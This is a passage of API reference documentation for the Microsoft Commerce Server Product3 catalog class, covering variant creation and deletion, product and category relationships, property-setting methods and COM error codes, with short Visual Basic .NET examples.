Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.AddRelationshipToCategory

Product3.RemoveRelationshipToProduct


Product3.CreateVariant Method (PIA)

Use this method to create a new product variant of the current product. Only product-specific attributes will be set in the new variant.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Function CreateVariant(
  varProductVariantID As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset CreateVariant(
  object varProductVariantID
);

Parameters

[Visual Basic .NET]
varProductVariantID
An Object that contains the unique ID of the product variant.
[C#]
varProductVariantID
An object that contains the unique ID of the product variant.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset that contains the properties for the object.

[C#] This method returns a _Recordset interface to a Recordset object used to return the product variant.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C#] 0x88980032 [Visual Basic .NET] &H88980032 | This catalog does not support variants. To support variants, a catalog must be created with a variant identifier.
E_CAT_NO_VARIANTS_UNDER_PRODUCT | [C#] 0x88980051 [Visual Basic .NET] &H88980051 | You cannot create a variant under a regular product. Variants can be created under product families only.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_VARIANTID | [C#] 0x8898005C [Visual Basic .NET] &H8898005C | The value you specified for the VariantID exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_VARIANTID | [C#] 0x8898004D [Visual Basic .NET] &H8898004D | The value you specified for the VariantID is either out of range or does not satisfy the Min/Max condition.
E_CAT_BLANK_VARIANT | [C#] 0x8898004F [Visual Basic .NET] &H8898004F | You have specified a blank value for the VariantID. A variant cannot be created with a blank value.
E_CAT_VC_INVALID_VARIANT_ID | [C#] 0x889800FC [Visual Basic .NET] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VARIANT_EXISTS | [C#] 0x88980026 [Visual Basic .NET] &H88980026 | The product variant you specified already exists.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.

Remarks

The value and type of the varProductVariantID parameter must be valid for the property specified as the unique ID for product variants. This property, strProductVariantID, is specified when a catalog is created.

If the catalog created does not support variants, that is, strProductVariantID was not specified on catalog creation, an error is returned.

Upon successful completion, the method returns an ActiveX Data Objects (ADO) Recordset that contains fields for all the properties defined for the new product variant and an integer field named oid. The oid field is for internal use and should not be updated. The returned Recordset is updateable, but disconnected. To modify the variant properties, pass this Recordset to the SetVariantProperties method.

The product variants inherit the properties that are present in the product definition. Values for non-variant-specific product properties are propagated from the Product object down to the variants, but values for variant-specific properties must be explicitly set for each variant.

The variant ID value should be unique within the product family. There can be two product variants with the same variant ID within the same catalog, as long as they are in different product families.

[Visual Basic .NET]

Example

rsVariantProps = myProduct.CreateVariant("SKU4005XLA")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.DeleteVariant

Product3.SetVariantProperties


Product3.DeleteVariant Method (PIA)

Use this method to delete the specified product variant. This method applies to base catalogs only.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub DeleteVariant(
  varVariantID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeleteVariant(
  object varVariantID
);

Parameters

[Visual Basic .NET]
varVariantID
An Object that contains the unique ID of the variant.
[C#]
varVariantID
An object that contains the unique ID of the variant.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C#] 0x88980032 [Visual Basic .NET] &H88980032 | This catalog does not support variants. To support variants, the catalog must be created with a variant identifier.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_VARIANTID | [C#] 0x8898005C [Visual Basic .NET] &Hx8898005C | The value you specified for the VariantID exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_VARIANTID | [C#] 0x8898004D [Visual Basic .NET] &H8898004D | The value you specified for the VariantID is either out of range or does not satisfy the Min/Max condition.
E_CAT_BLANK_VARIANT | [C#] 0x8898004F [Visual Basic .NET] &H8898004F | You have specified a blank value for the VariantID. A variant cannot be created with a blank value.
E_CAT_VC_INVALID_VARIANT_ID | [C#] 0x889800FC [Visual Basic .NET] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VARIANT_DOESNT_EXIST | [C#] 0x8898001F [Visual Basic .NET] &H8898001F | The product variant you specified does not exist.
[Visual Basic .NET]

Example

'objID is an Object containing the unique ID
'for the product variant.
myProduct.DeleteVariant(objID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.CreateVariant


Product3.GetVariantProperties Method (PIA)

Use this method to retrieve the properties for a specified product variant.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Function GetVariantProperties(
  varProductVariantID As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
 …
public _Recordset GetVariantProperties(
  object varProductVariantID);

Parameters

[Visual Basic .NET]
varProductVariantID
An Object that contains the unique ID of the product variant.
[C#]
varProductVariantID
An object that contains the unique ID of the product variant.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset object that contains the variant properties.

[C#] This method returns a _Recordset interface to an ADODB26Lib._Recordset object containing the product variant properties.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C#] 0x88980032 [Visual Basic .NET] &H88980032 | This catalog does not support variants. To support variants, the catalog must be created with a variant identifier.
E_CAT_INVALID_VARIANTID | [C#] 0x8898005C [Visual Basic .NET] &H8898005C | The value you specified for the VariantID exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_VARIANTID | [C#] 0x8898004D [Visual Basic .NET] &H8898004D | The value you specified for the VariantID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_VARIANT_ID | [C#] 0x889800FC [Visual Basic .NET] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VARIANT_DOESNT_EXIST | [C#] 0x8898001F [Visual Basic .NET] &H8898001F | The product variant you specified does not exist.

Remarks

The ppRSProductVariant parameter contains valid data only if the property was accessed successfully.

This method returns the properties of the specified product variant. If the product variant specified in the varProductVariantID parameter does not exist in the product, the method will fail.

The single-row Recordset returned contains fields for all of the properties defined for variants of this product followed by the following fields:

Field | Type | Description
TimeStamp | Timestamp | None
cy_list_price | Currency | List price
oid | Integer | None

The oid field is for internal use only and should not be updated.

The Recordset returned is updateable, but disconnected. To modify the product properties, pass this Recordset to the SetVariantProperties method.

The returned recordset contains the fields listed in the following table.

Field | Data Type
oid | int
cy_list_price | money
Timestamp | timestamp
ProductID | string
[Visual Basic .NET]

Example

'vVarID is an Object containing the unique ID of the variant.
rsVariantProps = myProduct.GetVariantProperties(vVarID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.SetVariantProperties


Product3.RemoveRelationshipToCategory Method (PIA)

Use this method to remove the specified relationship between the specified category and this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveRelationshipToCategory(
  strRelatedCategoryName As String,
  strRelationshipName As String
  strCatalogName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveRelationshipToCategory(
  string strRelatedCategoryName,
  string strRelationshipName
  string strCatalogName
);

Parameters

[Visual Basic .NET]
strRelatedCategoryName
A String that contains the name of the category that is to have its relationship to this product removed.
strRelationshipName
A String that contains the name of the relationship to be removed.
strCatalogName
A String that contains the name of the catalog containing the related category.
[C#]
strRelatedCategoryName
A string that contains the name of the category that is to have its relationship to this product removed.
strRelationshipName
A string that contains the name of the relationship to be removed.
strCatalogName
A string that contains the name of the catalog containing the related category.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )# . that should not be used.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the productID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C#] 0x88980054 [Visual Basic .NET] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C#] 0x88980045 [Visual Basic .NET] &H88980045 | The relationship that you specified either does not exist or is an inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.
[Visual Basic .NET]

Example

' Remove the "Accessory" relationship this product has to
' the "Apparel" category
myProduct.RemoveRelationshipToCategory ("Apparel", "Accessory")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.RelatedCategories

Product3.AddRelationshipToCategory

Product3.RemoveRelationshipToProduct


Product3.RemoveRelationshipToProduct Method (PIA)

Use this method to remove the specified relationship between the specified product and this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveRelationshipToProduct(
  varRelatedProductID As Object,
  strRelationshipName As String,
  strCatalogName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveRelationshipToProduct(
  object varRelatedProductID,
  string strRelationshipName,
  string strCatalogName
);

Parameters

[Visual Basic .NET]
varRelatedProductID
An Object that contains the unique ID of the product that is to have its relationship to this product removed.
strRelationshipName
A String that contains the name of the relationship to be removed.
strCatalogName
A String that contains the name of the catalog containing the name of the related category.
[C#]
varRelatedProductID
An object that contains the unique ID of the product that is to have its relationship to this product removed.
strRelationshipName
A string that contains the name of the relationship to be removed.
strCatalogName
A string that contains the name of the catalog containing the name of the related category.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &Hx88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. that should not be used.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the productID is blank or exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C#] 0x8898004E [Visual Basic .NET] &H8898004E | The value you specified for the productID is either out of range or else does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the productID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C#] 0x88980054 [Visual Basic .NET] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C#] 0x88980045 [Visual Basic .NET] &H88980045 | The relationship that you specified either does not exist or is an inherited relationship (and therefore cannot be edited).
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.
[Visual Basic .NET]

Example

''vProdID is an Object containing the unique ID of the related product.
myProduct.RemoveRelationshipToProduct(vProdID, "Accessory")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.RelatedProducts

Product3.AddRelationshipToProduct

Product3.RemoveRelationshipToCategory


Product3.SetRelatedCategories Method (PIA)

Use this method to update category relationships.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Sub SetRelatedCategories(
  pRSRelatedCategories As _Recordset
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void SetRelatedCategories(
  _Recordset pRSRelatedCategories
);

Parameters

[Visual Basic .NET]
pRSRelatedCategories
A Recordset object that contains the related categories.
[C#]
pRSRelatedCategories
A Recordset object that contains the related categories.

Return Values

None.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | Invalid pointer.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C#] 0x88980045 [Visual Basic .NET] &H88980045 | The relationship that you specified either does not exist or is an inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Error Values

This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available by using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The recordset used for the pRSRelatedCategories parameter should be obtained from the get_RelatedCategories method.

This method will update the value of the RelationshipDescription field for the current language of the catalog.

When calling this method on an inherited product in a virtual catalog, the method will have no effect if the relationship is inherited from a base catalog. If the relationship was added in the virtual catalog, changes will be updated. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships, use a Category object obtained from the base Catalog object.

The input recordset should not contain any rows that are inherited relationships. Such rows must be removed from the recordset first if they exist, because they may be returned by the RelatedCategories method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


Product3.SetRelatedProducts Method (PIA)

Use this method to update product relationships.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Sub SetRelatedProducts(
  pRSRelatedCategories As _Recordset
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void SetRelatedProducts(
  _Recordset pRSRelatedCategories
);

Parameters

[Visual Basic .NET]
pRSRelatedCategories
A Recordset object that contains the related products.
[C#]
pRSRelatedCategories
A Recordset object that contains the related products.

Return Values

None.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | Invalid pointer
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C#] 0x88980045 [Visual Basic .NET] &H88980045 | The relationship that you specified either does not exist or is an inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Error Values

This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available by using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The recordset used for the pRSRelatedCategories parameter should be obtained from the get_RelatedProducts method.

This method will update the value of the RelationshipDescription field for the current language of the catalog.

When calling this method on an inherited product in a virtual catalog, the method will have no effect if the relationship is inherited from a base catalog. If the relationship was added in the virtual catalog, changes will be updated. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships, use a Category object obtained from the base Catalog object.

The input recordset should not contain any rows that are inherited relationships. Such rows must be removed from the recordset first if they exist, because they may be returned by the RelatedProducts method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


Product3.SetProductProperties Method (PIA)

Use this method to set the properties for this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Sub SetProductProperties(
  pRSProduct As _Recordset,
  Optional fForceUpdate As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void SetProductProperties(
  _Recordset pRSProduct,
  object fForceUpdate
);

Parameters

[Visual Basic .NET]
pRSProduct
A _Recordset interface to a Recordset object that contains the new product properties. This should be an updated recordset returned by the GetProductProperties method.
fForceUpdate
An Object that determines whether to force an update of the product properties.
[C#]
pRSProduct
A_Recordset interface to a Recordset object that contains the new product properties. This should be an updated Recordset returned by the GetProductProperties method.
fForceUpdate
An object that determines whether to force an update of the product properties. Set to Type.Missing for default behavior.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C#] 0x88980032 [Visual Basic .NET] &H88980032 | This catalog does not support variants. To support variants, the catalog must be created with a variant identifier.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.
E_CAT_PRODUCT_CHANGED | [C#] 0x88980027 [Visual Basic .NET] &H88980027 | The product variant has been changed since it was last read.
E_CAT_INVALID_PROPERTY_VALUE | [C#] 0x889800B4 [Visual Basic .NET] &H889800B4 | The value <value> specified for the property <property name>does not satisfy the Minimum or Maximum constraints defined for the property. For string properties, the specified value should lie between the minimum and maximum lengths defined for the property. For numeric properties, the specified value should lie between the minimum and maximum values. For enumeration properties, the specified value should be one of the valid values defined for the property.
E_CAT_INVALID_LISTPRICE | [C#] 0x8898003C [Visual Basic .NET] &H8898003C | An invalid list price is specified for this product or variant. The list price cannot be empty for the products and variants.

Remarks

Use the SetProductProperties method to modify the properties of a product. The pRSProduct parameter specifies a Recordset object that describes the new property values for this product. This method will not update the fields derived from the catalog such as ProductId and VariantID. If this method is called for a product family it will update the properties for all variants that belong to the product family.

Use the Recordset object returned by the GetProductProperties property so that the timestamps can be compared to the records updated by this method for error detection.

If the fForceUpdate parameter is set to false, and the property values for this product have been changed since the pRSProduct recordset was read, the method will fail.

[Visual Basic .NET]

Example

'This example changes the list price for a product
rsProductProps = myProduct.GetProductProperties()
rsProductProps.fields("cy_list_price").Value() = CCur(1.398)
myProduct.SetProductProperties(rsProductProps, TRUE)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.GetProductProperties


Product3.SetVariantProperties Method (PIA)

Use this method to set the properties for a variant of this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Sub SetVariantProperties(
  pRSNewState As _Recordset,
  Optional fForceUpdate As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;

using ADODB26Lib; //For _Recordset

…
public void SetVariantProperties(
  _Recordset pRSNewState,
  object fForceUpdate
);

Parameters

[Visual Basic .NET]
pRSNewState
The _Recordset interface to a Recordset object that contains the new product variant properties. This should be a recordset returned by the GetVariantProperties property or by the CreateVariant method.
fForceUpdate
An Object that determines whether to force an update of the product variant properties.
[C#]
pRSNewState
A_Recordset interface to a Recordset object that contains the new product variant properties. This should be a Recordset returned by the GetVariantProperties property or by the CreateVariant method.

fForceUpdate

An object that determines whether to force an update of the product variant properties. Set to Type.Missing for default behavior.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C#] 0x88980032 [Visual Basic .NET] &H88980032 | This catalog does not support variants. To support variants, the catalog must be created with a variant identifier.
E_CAT_VARIANT_DOESNT_EXIST | [C#] 0x8898001F [Visual Basic .NET] &H8898001F | The product variant you specified does not exist.
E_CAT_PRODUCT_CHANGED | [C#] 0x88980027 [Visual Basic .NET] &H88980027 | The product variant has been changed since it was last read.
E_CAT_INVALID_PROPERTY_VALUE | [C#] 0x889800B4 [Visual Basic .NET] &H889800B4 | The value <value> specified for the property <property name>does not satisfy the Minimum or Maximum constraints defined for the property. For string properties, the specified value should lie between the minimum and maximum lengths defined for the property. For numeric properties, the specified value should lie between a minimum and maximum value. For enumeration properties, the specified value should be one of the valid values defined for the property.
E_CAT_INVALID_LISTPRICE | [C#] 0x8898003C [Visual Basic .NET] &H8898003C | An invalid list price is specified for this product or variant. The list price cannot be empty for the products and variants.

Remarks

Use the SetVariantProperties method to modify the properties of a product variant. The pRSNewState parameter specifies a Recordset object that describes the new property values for this product variant. Use the Recordset returned by the GetVariantProperties property or by the CreateVariant method, so that timestamps can be compared for error detection.

If the fForceUpdate parameter is set to false, and the property values in the pRSNewState parameter have changed, the method will fail.

[Visual Basic .NET]

Example

myProduct.SetVariantProperties(pRSNewState, fForceUpdate)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.GetVariantProperties


Product3 Properties (PIA)

Properties

Property | Type | Description
AncestorCategories | ADODB26Lib._Recordset | Contains a recordset of category names that exist anywhere above this product, and that directly or indirectly contain this product in the hierarchy. This property is read-only.
CatalogName | String | Contains the name of the catalog of which this Product object is a member. This property is read-only.
GetProductProperties | ADODB26Lib._Recordset | Contains a recordset containing the property values for this product. This property is read-only.
ParentCategories | ADODB26Lib._Recordset | Contains a recordset of categories that directly contain this product. This property is read-only.
PricingCategory | String | Contains the name of the pricing category for this product. This property is read/write.
PrimaryParent | BSTR | Contains the name of the primary parent category for this product. This property is read/write.
ProductID | String | Contains the unique identifier for this product. This property is read-only.
RelatedCategories | ADODB26Lib._Recordset | Contains a recordset that describes all of the categories that are related to this product. This property is read-only.
RelatedProducts | ADODB26Lib._Recordset | Contains a recordset that describes all of the products that are related to this product. This property is read-only.
UseCategoryPricing | VARIANT_BOOL | Indicates whether the price is derived from the PrimaryParentCategory field. This property is read/write.
Variants | ADODB26Lib._Recordset | Contains a recordset that describes all of the variants of this product, if any. This property is read-only.


Product3.AncestorCategories Property (PIA)

[Visual Basic .NET] The AncestorCategories property is a read-only _Recordset interface to a Recordset object that contains the names of categories that exist anywhere above this product in the hierarchy.

[C#] The AncestorCategories property is a read-only Recordset object that contains the names of categories that exist anywhere above this product in the hierarchy.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ’ for _Recordset
…
Public ReadOnly Property AncestorCategories As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset AncestorCategories {get;}

Property Value

An ADODB26Lib._Recordset interface to a Recordset object containing the ancestor categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

The AncestorCategories property is a Recordset object with a single 128-character field, named Name.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.ParentCategories


Product3.CatalogName Property (PIA)

The CatalogName property is a read-only String that contains the name of the catalog within which this product exists.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public ReadOnly Property CatalogName As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string CatalogName {get;}

Property Value

A string containing the catalog name.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.
E_OUTOFMEMORY | [C#] 0x8007000E [Visual Basic .NET] &H8007000E | Ran out of memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


Product3.GetProductProperties Property (PIA)

The GetProductProperties property is a read-only Recordset that contains the properties of this Product object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public ReadOnly Property GetProductProperties As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
 …
public _Recordset GetProductProperties {get;}

Property Value

A _Recordset interface to an ADODB26Lib._Recordset object containing the properties of this product.

Exceptions

